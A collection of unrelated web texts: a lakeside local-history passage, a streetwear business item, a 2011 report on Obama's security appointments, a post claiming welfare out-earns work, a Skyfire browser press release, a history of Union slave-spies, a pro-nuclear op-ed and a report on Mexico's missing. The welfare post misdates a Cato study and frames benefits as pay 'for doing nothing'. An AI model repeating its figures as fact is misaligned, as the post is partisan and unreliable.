a tramp through the woods brought the braves ones to Sandy Shore, at no transportation cost. Birch Island, almost connected to the Narrows by swampland, was eventually filled in and built up. Here, too, a pavilion was erected for the accommodation of patrons and the beach was semi-private. At the turn of the century, several summer homes were built around the "circle" at Point Breeze and later several year-round houses were added. Off Point Breeze Road juts and arm of land, known as Loveland. Bay View had only three our four summer cottages nestled in the pines near Monsey Camp, the former Bay View House which was popular with young people of another era. It served as a popular girls' camp, open every summer under the direction of Miss Lillian Monsey and Miss Helen Hanley. Cottages and additional bunkhouses were added to the facilities, which included instruction in swimming, boating and water skiing. Colonial Park At the southernmost end of the lake, along the Connecticut border, lies Colonial Park. In the early 1920's, George Hall built the Lake Hotel, which was later operated by William Haggerty as Indian Inn, a name it retained while operated by Edward Blanchart and others. In the late 50's, the spacious resort hotel was the main building of Lutherwood, a camp operated by the Lutherans of the area. It brought many young people to the lake in the summer, where they had swimming and boating at their private beach, in addition to instruction and a program of crafts and sports. A small store (called "The Dug Out") was operated by the Fritzche family who owned the beach rights and maintained it as a swimming spot for the public. Treasure Island A section of waterfront comprised of about 35-40 acres located between Birch Island and Union Point was sold by Justin Herideen to ACO Development Corp. (John Androlewicz, Milton Carter, and Henry Osowski) who developed the property into a 64-room motel and conference center called Treasure Island in 1965. The property included a 50-boat marina. The motel was destroyed by fire in 1972. The balance of the property which included the restaurant and swimming pool was salvaged and sold to Hometech Corp. in 1973 who operated the restaurant and sports facility and planned to build a 50-unit condominium complex. The restaurant and sports center burned in 1974 and the plans were abandoned. The property was eventually sold to Noel Development Corp. in 1989 and construction of 78 condo units began. In Feb. 1991, a joint venture was entered into with Bay Finance Co. with a commercial loan that allowed the complex to be completed. Presently, there are 78-units and a marina which is managed by the Treasure Island Condominium Trust.
-Pharrell Williams and his BBC Miami partners are back in full control at Billionaire Boys Club and ICECREAM, after buying out Iconix Brands Group Inc’s 50% stake in the labels. Not that everything’s suddenly all rosy – the company has until June to complete a refinancing job on $300 million worth of debt, and is currently being investigated by the Securities and Exchange commission.  According to Pharrell’s spokesperson, his producer and BBC Miami wanted to get Iconix’s meddling paws out of the two brands (not their exact words, obviously) so they could have full control over their expansion, growth and licensing opportunities. It’s unclear how BBC and ICECREAM got into such dire financial straits, but what could the suited moneymen at Iconix possibly know about streetwear?  Check out the diamond-and-dollars encrusted Stan Smith, probably BBC’s most noteworthy collab of recent times.  Subscribe
-Updated 5:00 p.m. Eastern Time  WASHINGTON - President Barack Obama plans this week to name CIA Director Leon Panetta to replace Defense Secretary Robert Gates, and Gen. David Petraeus, now running the war in Afghanistan, would take the CIA chief's job in a major shuffle of the nation's top national security leadership, administration and other sources said Wednesday.  Sources confirmed the news of Panetta being chosen to replace Gates to CBS News national security correspondent David Martin. Petraeus' expected nomination for the CIA post comes according to an Associated Press source.  A senior defense official told CBS News that Gates recommended Panetta to Mr. Obama six months ago because of his budget experience, management experience, and intelligence experience - the Pentagon controls 80 percent of the overall intelligence budget. Gates will leave his post on June 30. Petraeus probably won't leave Afghanistan until September.  All sources spoke on condition of anonymity because the changes are not final.  The changes would probably take effect this summer. Gates has already said he will leave this year, and the White House wants to schedule Senate confirmation hearings in the coming months.  The officials say Mr. Obama is expected to also announce that Lt. Gen. John Allen would replace Petraeus as Afghanistan commander, and that diplomat Ryan Crocker will be the next U.S. ambassador in Afghanistan.  A senior official says Gen. Allen will take up his position in Afghanistan - assuming senate confirmation - at the beginning of September. In the interim, the official says, Allen will become special assistant to the chairman of the Joint Chiefs of Staff, and spend next the few months preparing for his presumed assignment in Afghanistan.  Diplomat Crocker seen as top pick for Afghan post  The changes are expected to be announced Thursday at the White House. A former U.S. official said all four candidates would stand together with Mr. Obama for the announcement. White House Press Secretary Jay Carney said Wednesday morning that the president will be making a personnel announcement on Thursday.  Panetta and Petraeus are both clearly qualified for the new jobs and should be easily confirmed by the Senate, according to Martin. The latter's "presence at the CIA will be good news for the troops in Afghanistan since he will know -- better than any other CIA director could -- exactly what intelligence they need in the field," says Martin.  Martin: Panetta and Petraeus should sail through Senate  Allen, now the deputy commander of U.S. Central Command in Florida, is due in Washington on Wednesday, and sources in Afghanistan said Petraeus was also headed to Washington.  The Associated Press first reported Tuesday that seasoned diplomat Crocker is the top candidate for the Afghanistan ambassadorial post as part of a far-reaching revamping of the nation's top leadership in the conflict there, now in its 10th year. The Washington Post first reported that the additional changes would be announced as a package deal.  Officials said Tuesday the White House was weighing several factors, including Crocker's role in the larger cast change in Afghanistan policy this summer and fall. Those personnel changes are unrelated to the progress of the prolonged war but come just as Mr. Obama needs to demonstrate enough success to follow through with his pledge to begin withdrawing U.S. forces in July.  U.S. military and civilian defense leaders call 2011 the make-or-break year for turning around the war and laying the path for a gradual U.S. exit by 2015. The main obstacles are the uncertain leadership and weak government of Karzai, the open question of whether the Taliban can be integrated into Afghan political life and the continued safe harbor Pakistan provides for militants attacking U.S. and NATO forces over the border in Afghanistan.  A U.S. official who confirmed Panetta's move to the Pentagon said the White House chose him because of his long experience in Washington, including working with budgets at the intelligence agency, as well as his extensive experience in the field during his time as CIA director. The official said Panetta had traveled more than 200,000 miles, to more than 40 CIA stations and bases and more than 30 countries, including Afghanistan and Pakistan.  Petraeus, who took over as Afghanistan war commander in June, has been expected to leave that post before the end of this year. His name had been floated for weeks as a possible replacement for Panetta if Mr. Obama tapped Panetta to replace Gates as Pentagon chief. Current and former administration officials noted that Petraeus would bring a customer's eye to the job as one of the key people to use and understand CIA and military intelligence during the wars in Afghanistan and Iraq.  Petraeus claims that military advances, especially in the traditional Taliban stronghold areas of southern Afghanistan, have blunted the Taliban-led insurgency and given the edge to the U.S. and its NATO partners. A planned transition to Afghan security control begins this year, and the U.S. wants to start withdrawing some of its approximately 100,000 forces in July.  Sending Crocker to Afghanistan would briefly reunite him with Petraeus, re-creating the diplomatic and military "dream team" credited with rescuing the flagging American mission in Iraq. Crocker would replace Ambassador Karl Eikenberry, a former Army general whose two-year tenure has been marred by cool relationships with major players in the Afghanistan war, including the White House, U.S. military leaders and Afghan President Hamid Karzai, administration and other sources said.  The nearly wholesale changes at the top of Mr. Obama's Afghanistan military and diplomatic lineup will leave fewer military and civilian leaders who have Obama's ear and who also have Afghanistan experience. Allen, the choice to become Afghanistan war commander, has never served there.  Adm. Mike Mullen, chairman of the Joint Chiefs of Staff, will leave his post in September after four years dominated by the ebb of the war in Iraq and the escalation of the one in Afghanistan. The top candidate to replace Mullen is Marine Gen. James Cartwright, who also has never served in Afghanistan.  Crocker, now at Texas A&M University, didn't respond to emails from the AP seeking comment. His assistant, Mary Hein, said he has been traveling for the school over the past week and was not available for interviews.
-THE WORK ETHIC WE INHERITED GROWING UP HAS FALLEN PREY TO THE ‘WELFARE’ SYSTEM  The Cato Institute released an updated 2013 study (original study in 1955) showing that welfare benefits pay more than a minimum wage job in 33 states and the District of Columbia. Even worse, welfare pays more than $15 per hour in 13 states. According to the study, welfare benefits have increased faster than minimum wage. It’s now more profitable to sit at home than it is to earn an honest day’s pay.  Hawaii is the biggest offender, where welfare recipients earn $29.13 per hour, or a $60,590 yearly salary, all for doing nothing.  Here is the list of the states where the pre-tax equivalent “salary” that welfare recipients receive is higher than having a job:  1. Hawaii: $60,590  2. District of Columbia: $50,820  3. Massachusetts: $50,540  4. Connecticut: $44,370  5. New York: $43,700  6. New Jersey: $43,450  7. Rhode Island: $43,330  8. Vermont: $42,350  9. New Hampshire: $39,750  10. Maryland: $38,160  11. California: $37,160  12. Oregon: $34,300  13. Wyoming: $32,620  14. Nevada: $29,820  15. Minnesota: $29,350  16. Delaware: $29,220  17. Washington: $28,840  18. North Dakota: $28,830  19. Pennsylvania: $28,670  20. New Mexico: $27,900  21. Montana: $26,930  22. South Dakota: $26,610  23. Kansas: $26,490  24. Michigan: $26,430  25. Alaska: $26,400  26. Ohio: $26,200  27. North Carolina: $25,760  28. West Virginia: $24,900  29. Alabama: $23,310  30. Indiana: $22,900  31. Missouri: $22,800  32. Oklahoma: $22,480  33. Louisiana: $22,250  34. South Carolina: $21,910  As a point of reference the average Middle Class annual income today is $50,000, down from $54,000 at the beginning of the Great Recession. Hawaii, DC, and Massachusetts pay more in welfare than the average working folks earn there. Is it any wonder that they stay home rather than look for a job. Time for a drastic change. America is virtually bankrupt.  Are we Nuts or what? How do we un-do this type of stupidity on the part of Americans?
-The popular replacement browser Skyfire has been updated to version 3.0 for Android, which adds additional social networking support. Skyfire has enhanced Facebook Connect to allow the user to easily stream videos shared from friends, and to make it easier to share content with your friends.  Skyfire 3.0 also adds Facebook’s Social Graph and Like Button to every page you visit, making it even easier to share content. If you would like to download Skyfire, you can do so from our app database.  Continue after the break for the full presser.  Skyfire 3.0 Browser for Android Mobile Phones layers the Facebook Social Graph over the entire mobile browsing experience  Mountain View, Calif. – November 23, 2010 – Today Skyfire, maker of the award-winning browser for mobile devices, announces the launch of Skyfire 3.0 with Facebook Connect for Android 2.0 and higher devices. With this new version of the popular Android application, the company ushers in an entirely new way to experience the mobile Internet, geared to the needs of the social networking generation.  The world’s smartest mobile browser is now the world’s most social browser. Skyfire brings the true power of Facebook to your Android device with easy streaming of videos shared from friends, quick news feed access, an easy way to see the most popular ‘liked’ articles on any site, and more.  Skyfire for Android is one of the most popular third-party apps on the platform with almost two million users. Earlier versions of Skyfire launched the SkyBarTM, a cloud-powered toolbar that allows users to watch video, view related content, and easily share content with friends. With Skyfire 3.0, the browser takes social integration to the next level, by integrating Facebook directly into the SkyBar.  Skyfire 3.0 with Facebook Connect seamlessly integrates Facebook’s Social Graph and Like Button onto every page of the Internet. With a single click, users can quickly check their Facebook Page, “Like” or share any Internet content, see the most “liked” content on any site recommended by their friends (or the general Facebook community), and seamlessly view videos and other Facebook links posted by friends.  New Features in Skyfire 3.0 with Facebook Connect Include:  · Popular Content – You just finished reading a story on one of your favorite web sites and want to quickly decide what to read next. Click on the Popular button on the SkybarTM and instantly see what content on the site is most popular within the 500+ million user Facebook community. Recommendations from friends are prioritized and show up at the top of the list.  · FireplaceTM Feed Reader – A simple but addictive tool that provides a filtered list of your Facebook feed that only includes links to browsable web pages, images, and videos posted by your Facebook friends.  · Facebook Portal Integration – With a single touch you have access to your Facebook feed, profile and fast-growing location service Places.  · Facebook Like Button – Skyfire 3.0 puts the Facebook Like Button on EVERY PAGE of the Internet. No scrolling around searching for the button on the page, simply click on the SkybarTM Like Button to easily “like” or “unlike” the page you are viewing or to share the page with your friends via Facebook, Twitter, or email.  · Skyfire OneTouch SearchTM – Users enter a single search term and can choose to search Google, Facebook, VideoSurf, Digg, Twitter, or Amazon with a single touch and without having to navigate to separate sites.  “Skyfire 3.0 with Facebook Connect makes mobile browsing social,” said Jeff Glueck, CEO of Skyfire. “This is just the latest innovation made possible by Skyfire’s Rocket PlatformTM and illustrates why Skyfire, as the first browser ever powered by a cloud service, is a must-have for smartphone users.”  Skyfire 3.0 with Facebook Connect for Android is now available for free for a limited time only in the Android Market.  Note: Facebook and the Like Button are registered trademarks owned by Facebook Inc in the United States and/or other countries. Skyfire 3.0 with Facebook Connect is not affiliated with Facebook ™ but is authorized by Facebook to use the Facebook Connect trademark. Adobe and Flash are registered trademarks or trademarks of Adobe Systems Incorporated in the United States and/or other countries.  About Skyfire:  Skyfire is dedicated to using cloud computing to improve multimedia experiences on mobile phones, and has created the first “Compression as a Service” (CAAS) offering for wireless carriers and device makers. Skyfire’s technology has been visible to consumers through the Skyfire browser app, which has enabled Skyfire to refine its technology with millions of users. The app was named the #2 App of All-Time for Android by TechCrunch, and was the top pick in a PC World September 2010 comparison of all Android browsers. Skyfire won the Best Mobile Application-People’s Voice at the 2009 Webby Awards and was named a Top App of 2009 by the New York Times’ Gadgetwise. Skyfire’s iPhone browser, launched in November 2010, quickly reached the top selling app rank on the Apple App StoreSM, as the first way for iOS users to access videos designed for the Adobe Flash PlayerTM. Skyfire is based in Mountain View, California, in the heart of Silicon Valley. For more information, visit www.skyfire.com, or follow Skyfire on Twitter at twitter.com/skyfire.
-The servants knew. The Confederate White House in Richmond, Virginia, was not a happy home. The coachman had heard Varina Davis, the first lady of the South, wondering aloud if the rebellion her husband led had any prayer of success. It was, he heard her say, “about played out.” Less than a year into the war, she had all but given up hope. And the president himself, Jefferson Davis, gaunt and sere, was under tremendous strain, disheartened and querulous, complaining constantly about the lack of popular support for him and his policies.  What the servants at the dinner table heard could be even more interesting: insights into policy, strategy and very private lives. They could glimpse up close the troubled emotions of Varina, who was much younger than her husband. She was in her mid-30s, he was in his mid-50s, and her energy, even her sultry beauty, were resented by many in that small society. She had a dark complexion and generous features that led at least one of her critics to describe her publically as “tawny” and suggest she looked like a mulatto.  Varina’s closest friend and ally in the cabinet was Judah P. Benjamin, the cosmopolitan Jewish secretary of war and then secretary of state. He was a frequent visitor to the Davis residence. He shaped Confederate strategy around the globe. And over port after dinner, what intimacies might have been revealed about this man, whose Louisiana Creole wife lived in self-imposed exile in Paris, and whose constant companion in Richmond was her beautiful younger brother?  As in any of the big households of yesteryear (one thinks of Downton Abbey, to take a popular example), what the servants knew about the masters was a great deal more than the masters knew about them. And in the Davis household the servants were black slaves, treated as shadows and often as something less than sentient beings. The Davises knew little of their lives, their hopes, their aspirations, and they certainly did not realize that two of them would spy for the Union.  History is almost equally oblivious. When it comes to secret agents, or servants, or slaves, all learned to tell the smooth lie that let them survive, and few kept records that endure. When it comes to the question of the spies who worked in the Confederate White House, where solid documentary evidence has failed, legend often has stepped in to fill the gaps and, to some considerable extent, to cloud the picture.  The one slave-spy we know the most about is William A. Jackson, the handsome coachman who appears to have been hired out by his owner at one point to work as a waiter in a Richmond hotel before being rented to the Davis family to drive them around the city.  In early May 1862, soon after New Orleans had fallen to the Union and as the Federal army under Gen. George McClellan was inching its way up the peninsula from Yorktown toward Richmond, the slave William Jackson crossed the lines into the Federal camp and began telling his story to the officers, who debriefed him at length, then to a handful of reporters. Over the next several weeks, tales about his revelations were printed and reprinted in papers all over the country.  Thus, one could read in the The Liberator, an abolitionist paper out of Boston, an article picked up from Horace Greeley’s Tribune in New York that was a paean to the escaped slaves making their way to Union encampments. Typically they were called “contrabands,” not yet entitled to their freedom (the Emancipation Proclamation was not announced until later that year, and did not go into effect until 1863).  “The fact cannot be questioned that the most important information we receive of the enemy’s movements reaches us through the contrabands,” the author of the Tribune article proclaimed.  When Jackson made his appearance in the Union camp, we are told, generals, colonels and majors flocked around him and the commander, Gen. Irvin McDowell, telegraphed the War Department with some of Jackson’s revelations.  If he brought useful tactical intelligence, however, it didn’t make it into the Northern newspapers, which focused on the gossip he passed along.  Jackson described Jefferson Davis as “pale and haggard,” sleeping little, eating nothing, constantly irritable and complaining about his generals: ‘He plans advances, but they execute masterly retreats,’” Jackson is quoted saying.  Varina Davis, meanwhile, had become a terror to her servants. “Mr. Davis treated me well,” said Jackson, “but Mrs. Davis is the d–––l,” the word devil considered too fraught for the paper’s readers.  Jackson seems to have spent quite a bit of time driving Varina around, and listening closely to her depressed views of the “played out” Confederacy. In part, no doubt, Jackson was telling the Union officers and press what they wanted to hear, raising their morale by talking about the declining mood in Rebel Richmond. He said not only slaves but whites were looking forward to the arrival of the Union troops. The Davises kept their bags packed and ready to go, he said, and even Mrs. Davis couldn’t pass off Confederate money.  Harper’s Weekly magazine published an engraved portrait of Jackson with his flowing signature beneath it, and a brief article filled with the kind of amazed admiration and inbuilt condescension that was common throughout the Northern press when it lionized escaped slaves: Jackson was “an extremely intelligent man, reads and writes (as his signature shows), and converses in a manner which shows that he has been used to good society.”  The Tribune’s backhanded praise, picked up by The Liberator, had been even worse. “The old plea, that a mulatto may have a soul and be intelligent on account of the white blood in his veins, while a pure negro is nothing but an overgrown monkey minus the caudal appendage, will not hold true in this instance. Jackson is as black as a Congo negro, and much more intelligent than a good many white folks.”  By the end of the summer of ’62, as McClellan’s peninsular campaign faltered and the war seemed to be stretching on endlessly, Jackson, the contrabands, and what came to be called their “black dispatches” started to catch the blame for military and political failings. The Brooklyn Daily Eagle, which billed itself as the evening paper with the highest circulation in the United States, started writing about “that arrant humbug, ‘Jeff Davis’ coachman,” who supposedly had assured the North that Union sympathizers would rise up in Richmond.  After that, Jackson faded from the scene, and it was not until after the war that stories began to circulate about another, and potentially much more effective spy in the Confederate White House.  Her name in popular history is Mary Elizabeth Bowser, but she used many different names, in fact. She was part of an extensive Union spy network run by Elizabeth Van Lew, a Richmond society woman who once owned Mary, had her educated in the North, and freed her in secret only to enlist her in the spy ring that included, it seems, Mary’s assignment as a slave-servant in the Confederate White House. Mary was of mixed blood, and she may well have been tied by that blood to Van Lew’s family, but if she worked for the Davises, as she and others claimed, she did so under a false name and false pretenses. Varina, asked about her years later, said she’d never heard of her.  The most careful and authoritative research on Bowser is to be found in Southern Lady, Yankee Spy, by Elizabeth R. Varon, a professor at the University of Virginia. As she notes, the spinsterly Van Lew never hid her Union sympathies entirely, but built a reputation for eccentricity as “Crazy Bet” that, along with her social status, afforded her considerable protection in Civil War Richmond.  As every intelligence service knows, when a woman is not taken seriously by the men around her she can work wonders as a secret agent, and that certainly was the case with Van Lew. She hid fugitive soldiers who escaped from Confederate prisons, she plotted with Union sympathizers and met clandestinely with couriers and spies from the Federal army.  By 1864, when Union Gen. Ulysses S. Grant was closing in on the Confederate capital in long, drawn out, bloody sieges, Van Lew’s network of white and black “detectives,” as spies liked to call themselves in those days, provided important, concrete military intelligence to Grant’s army. Of that there is no doubt. Grant recognized Van Lew’s valor publicly after the war, and in 1869, when he was president, had her appointed as Richmond’s postmaster (a somewhat ironic post for a former spymaster).  But what role did Mary play in Van Lew’s network?  It is safe to say (with ambiguity appropriate to espionage) a very special one.  In 1846, 15 years before the Civil War began, Van Lew had arranged the baptism of “Mary Jane, a colored child” in St. John’s church, which normally was reserved for white parishioners. It also appears from the chronologies provided by Van Lew’s biographers that Mary was not an infant at the time of the baptism. Probably she was 4 or 5 years old.  When that same little girl had barely reached her teens, Van Lew sent her to Princeton, New Jersey, “to receive an education, in order to prepare here to go to Liberia to serve as a missionary.”  Mary was only 14 when she sailed for Monrovia to teach the Gospel among slaves who had been liberated in the United States only to be sent “back to Africa” to a place among a people they never knew. Although desperately unhappy, Mary stayed for almost four years before Van Lew brought her back to Richmond. “I do love the poor creature,” Van Lew wrote to a friend in the American Colonization Society. “She was born a slave in our family—& that has made me always feel an awful responsibility.”  Interesting choice of words: “Born a slave in our family.” Later in life, Mary would talk about having “the advantage over the most of my race both in blood and intelligence,” and would tell Uncle Tom’s Cabin author Harriet Beecher Stowe, among others, that her mother was white but her father was “a Cuban-Spaniard and negro.” The rigorous and cautious Varon concludes it was much more likely that Mary’s father “was a white man, perhaps a member of the Van Lew family or their Lynchburg cousins, the Richardses.”  One might note that Mary was conceived and probably born before the death of Van Lew’s much-loved father in 1843.  The only physical description we have of Mary was after the war: “a Juno, done in somber marble … her features regular and expressive, her eyes exceedingly bright and sharp, her form and movements the perfection of grace.” (None of the photographs that purport to be her have been confirmed, according to Varon.)  Could such a woman, when she was about 20 years old, have found a place in the Davis household in Richmond? Not if she came directly from Van Lew, who was certainly no favorite of Varina Davis. Nor if she came under the name of Mary Richards, who had been arrested and jailed for not being a slave when she came back from Liberia in 1859, before the Van Lews claimed her again as part of the family’s chattel just to protect her. But under yet another alias? Very possibly.  In 1905, as a very old woman, Varina Davis felt called upon to deny that she had ever had in her employ “an educated negro ‘given or hired’ by Miss Van Lew as a spy,” and added, “My maid was an ignorant girl born and brought up on our plantation.”  But nobody had claimed Mary was Varina Davis’s maid. The executor of Van Lew’s estate had written in a biographical sketch and subsequent correspondence that Mary’s name was Mary Elizabeth Bowser (Mary Richards had married a Mr. Wilson Bowser in 1861). Then that name and general details of Mary’s life wound up in a Harper’s Monthly article in 1911:  “She was installed as waitress in the White House of the Confederacy. What she was able to learn, how long she remained behind Jefferson Davis’s dining chair, and what became of the girl ere the war ended are questions to which Time has effaced the answers.”  In fact, Varon and Lois Leveen, whose novel The Secrets of Mary Bowser tries to fill some of the gaps with fiction, did manage to find a bit more fact.  In September 1865, a woman calling herself Richmonia Richards gave a talk in New York City’s Abyssinian Baptist Church which the Anglo African, a ­newspaper there, described as “very sarcastic” and “quite humorous.” Among her anecdotes were stories of intrigue in the Confederate Senate as well as the Confederate White House. But the real substance of the intrigues is not there.  By 1867, Mary, with missionary zeal, was teaching freed slaves and their children in St. Mary’s, Georgia, on the Florida border, when Harriet Beecher Stowe, her brother the Rev. Charles Beecher, and the Rev. Crammond Kennedy of the Freedmen’s Bureau paid a visit. They were enthralled, especially by stories she told of her work as “a member of a secret organization in Richmond … a detective of Gen’l Grant.” The Rev. Kennedy thought “she could write a romance from her experience in that employment.”  Would that she had, or, if she did, that it could be found.  In fact, the last we know of Mary J.R. Richards Bowser Garvin (there was another husband after the war) aka Mary Jones aka Richmonia Richards and also known as names unknown is from her letters in 1867 to the superintendent of education for the Georgia Freedmen’s Bureau explaining why she could no longer carry on with so few resources trying to meet such enormous needs in ever more hostile and dangerous territory. The white Southerners, the old elites, meant to make it impossible to educate the former slaves and their children.  “I wish there was some law here, or some protection,” she wrote. “I know the southerners pretty well … having been in the service so long as a detective that I still find myself scrutinizing them closely. There is … that sinister expression about the eye, and the quiet but bitterly expressed feeling that I know portends evil … with a little whiskey in them, they dare do anything … Do not think I am frightened and laugh at my letter. Anyone that has spent 4 months in Richmond prison does not be so easily frightened."  What happened to Mary after that? The facts of her life fell prey to prejudice, the sinister turmoil in the Reconstruction South, and the traditions of spies who take their greatest secrets to grave. Almost 150 years later, truly, time has effaced the answers.
-In the midst of a still struggling and fragile global economy, Germany has announced that it will shut down seven nuclear plants by the end of the year--which means that Germans will be left to run their factories, heat their homes, and power their economy with 10% less electrical generating capacity. Nine more plants will be shut down over the next decade and tens of billions of dollars in investment will be lost.  The grounds for this move, and similar proposals in Switzerland, Italy, and other countries, is safety. As the Swiss energy minister put it, “Fukushima showed that the risk of nuclear power is too high.”  In fact, Fukushima showed just the opposite. How’s that? Well for starters, ask yourself what the death toll was at Fukushima. 100? 200? 10? Not true. Try zero.  To think rationally about nuclear safety, you must identify the whole context. As the late, great energy thinker Petr Beckmann argued three decades ago in his contrarian classic "The Health Hazards of NOT Going Nuclear," every means of generating power has dangers and risks, but nuclear power “is far safer than any other form of large-scale energy conversion yet invented.”  To date, there have been devised only five practical means of producing large-scale, affordable, reliable energy: coal, natural gas, oil, hydroelectric, and nuclear. (Although widely-hyped and frequently subsidized, solar and wind power -- which generate energy from highly diffuse and intermittent sources -- have failed for forty years to deliver.) Whether you’re concerned about a dangerous accident or harmful emissions, a nuclear power plant is the safest way to generate power.  The key to nuclear power’s safety, Beckmann explains, is that it uses a radioactive energy source--such as uranium. In addition to having the advantage of storing millions of times more energy per unit of volume than coal, gas, or water, the radioactive material used in power plants literally cannot explode. Ridiculing the scare tactics that a nuclear power plant poses the same dangers as a nuclear bomb, Beckmann observes: “An explosive nuclear chain reaction is no more feasible in the type of uranium used as power plant fuel than it is in chewing gum or pickled cucumbers.”  The one danger of running a nuclear plant is a large release of radiation. This is extremely unlikely, because nuclear plants contain numerous shielding and containment mechanisms (universal in the civilized world but callously foregone by the Soviets in their Chernobyl plant).  But in the most adverse circumstances, as Fukushima illustrated, the cooling system designed to moderate the uranium’s heat can fail, the backups can fail, the radioactive material can overheat to the point that the plant cannot handle the pressure, and a radiation release is necessary.  Yet, even then, it is extremely unlikely that the radiation levels will be high enough to cause radiation sickness or cancer--and radiation in modest quantities is a normal, perfectly healthy feature of life (your blood is radioactive, as is the sun). And even the worst nuclear accident gives neighbors a luxury that broken dams and exploding refineries do not: time.  While many, many things went wrong at Fukushima, as might be expected in an unprecedented natural disaster, what is more remarkable is that thanks to the fundamental integrity of the nuclear vessel and the containment building, none of the power plant’s neighbors have died, nor have any apparently been exposed to harmful levels of radiation. (The Japanese government has announced that eight of 2,400 workers have been exposed to higher-than-allowed amounts of radiation, but these amounts are often hundreds of times less than is necessary to do actual damage.)  Now imagine if a 9.0 earthquake and 40 foot tsunami had hit a hydroelectric dam; thousands of people could have died in the ensuing flood.  Or what if they had hit a natural gas plant or oil refinery or coal plant? These structures could have suffered explosions, such as the type we saw on BP’s Deepwater Horizon platform in the Gulf of Mexico, or just collapsed and spewed debris and pollution throughout the area.  The Fukushima nuclear plants, with their incredible resilience, almost certainly saved many, many lives.  Nuclear power also saves lives that would otherwise be lost to pollution. A nuclear power plant has effectively zero harmful emissions. (It generates a small amount of waste, which France, among other countries, has demonstrated can be both re-used economically and stored safely.) By contrast, fossil fuel plants generate various forms of particulate matter that strongly correlate with higher cancer rates. We should not “‘knock coal,’” Beckmann stressed, as fossil fuel plants are vital for human survival for decades to come, but we should recognize that new nuclear power plants are far safer than the status quo.  The perversity of using nuclear power’s demonstrated safety as a black mark against it is not new. Beckmann’s book came out in 1976--three years before the Three Mile Island “disaster,” which nuclear critics capitalized on, even though it was, as Beckmann later wrote, “history’s only major disaster with a toll of zero dead, zero injured, and zero diseased.”  Still, environmentalists shut down nuclear plants, oblivious to the accidents they could have prevented.  In just the three years leading up to Three Mile Island, Beckmann observed, “dam disasters have killed thousands of people (at least 2,000 in India in August 1979); many hundreds have died in explosions and fires of gas, oil, butane, gasoline, and other fuels . . . ”  As a consequence of the anti-nuclear hysteria in Beckmann’s time, the U.S. government made it either impossible or economically prohibitive to build new plants, in the name of “safety.” Fukushima has affirmed that nuclear is the safest form of power in existence. Any government that fails to recognize this is endangering its citizens’ health.  Alex Epstein is a fellow at the Ayn Rand Center for Individual Rights, specializing in energy issues. The Ayn Rand Center is a division of the Ayn Rand Institute and promotes the philosophy of Ayn Rand, author of “Atlas Shrugged” and “The Fountainhead.”
-Celerina Santos is still waiting for her husband to come home.  It's been two years since he and nine other men set off from their small village on the southwest coast of Mexico, hunting for a cheap used van for their ecotourism project.  The community spent all they had on a group of cabins, restaurants and boats they had built on the shore of the Pacific, hoping to attract tourists and provide work for the impoverished village.  The van would be the final part of the jigsaw, bringing visitors to the community.  The ten men made the long journey north to Matamoros, a city long famous for cheap vehicles, and more recently known for barbaric drug violence and kidnappings. Celerina's husband Nemorio phoned to tell her they had arrived safely.  When she called the following day, the line was dead. The men never came back.  'Authorities have never helped us'  The village they left behind lies by the side of a long dirt track which eventually widens out to a solitary, white-sanded beach.  Small, rudimentary houses are scattered between thick vegetation; the only sound that interrupts the silence is the crashing of the waves.  Here money is scarce. The village had invested heavily in the tourism project. But when their husbands went missing, the wives took what little they had left and set off searching for their men.  "The truth is that in these two years we've been alone. The authorities have never helped us, neither economically or in the search for our husbands" - Celerina Santos, wife of missing man  They talked to officials in government offices, searched prisons and visited morgues across the country.  They've sold off belongings to finance the search, including six of the boats they bought for the ecotourism project, and have bounced from state to state, following dead-end clues and red herrings handed to them by the same state investigators meant to help them.  After two years of constant journeys, and little to show for it, Celerina feels abandoned by the authorities.  "The truth is that in these two years we've been alone. The authorities have never helped us, neither economically or in the search for our husbands," she said.  'Bodies mounting up'  Twenty-four thousand people have been reported missing, according to Mexico’s Human Rights Commission, many trapped in the battle between organised crime groups and the government.  Relatives echo Celerina’s story, saying that when they turn to the authorities, they find them unwilling or unable to help.  Al Jazeera tried to get basic details on the case of the missing men from Zapotengo, but our repeated calls and emails to the Tamaulipas and Oaxaca state attorneys offices, as well as the federal attorneys office, went unanswered.  Whilst outgoing president Felipe Calderon’s administration has tried to tackle the problem of organised crime by pouring money into the Federal Police and its armed forces, the task of helping the victims of the violence has not figured high on the list of priorities.  Mexico's top human rights official says that almost 16,000 bodies are still to be identified, but after six years of bodies mounting up, the federal government has only just opened its first dedicated forensic centre, which can hold a maximum of 150 bodies.  Although it has now been operational for nearly a month, it has yet to receive a single corpse; it has no powers to order Mexico's 32 states to send it their unidentified bodies, and none of them have yet offered.  'Human rights have been ignored'  Lack of co-operation between state and federal authorities has frequently been blamed for the failure to find those lost among the violence in the country.  To try to close the gap, Calderon last year pledged to create a national database for missing persons that investigators from all states could use to track the disappeared - but so far it has failed to materialize.  Federal officials told Al Jazeera they still don't know when it will be finished.  Amnesty International spokesman Daniel Zapico says Mexico's inability to address the issue shows a general lack of political will.  "For us it is very clear. We need to put human rights in the agenda as one of the main issues in this situation," he said.  "Human rights have been ignored by this government and also at the local and state level."  New administration  It remains to be seen if this will change with incoming president Enrique Peña Nieto.  The list of more than 200 pledges from his new administration does not mention the victims of the violence, and he has given little indication of what steps he will take to improve their situation.  The list of necessities is a long one.  "Human rights have been ignored by this government and also at the local and state level" - Daniel Zapico, Amnesty International  The majority of Mexico's states don't have the technology to do DNA testing and crime scenes are regularly tainted by untrained investigators.  Many relatives of those disappeared think twice before going to local police forces, often fearing local officials may be in the pay of those who murdered their loved ones.  Peña Nieto has talked of reforming and retraining police, just as his predecessor did. But rooting out corruption among badly paid and frequently uneducated local police has proved to be easier said than done.  All of which leaves Celerina without hope that the authorities will be able to find her husband. And she says that without help she can do no more.  "We can’t go on. We are worn out, we've abandoned our children searching for their fathers, spent the money we don't have," she said.  "Although we feel they are still alive, that one day we’ll see them again ... some day."  It is a hope that alternatively sustains and tortures the thousands of Mexicans who still do not know the fate of their loved ones.
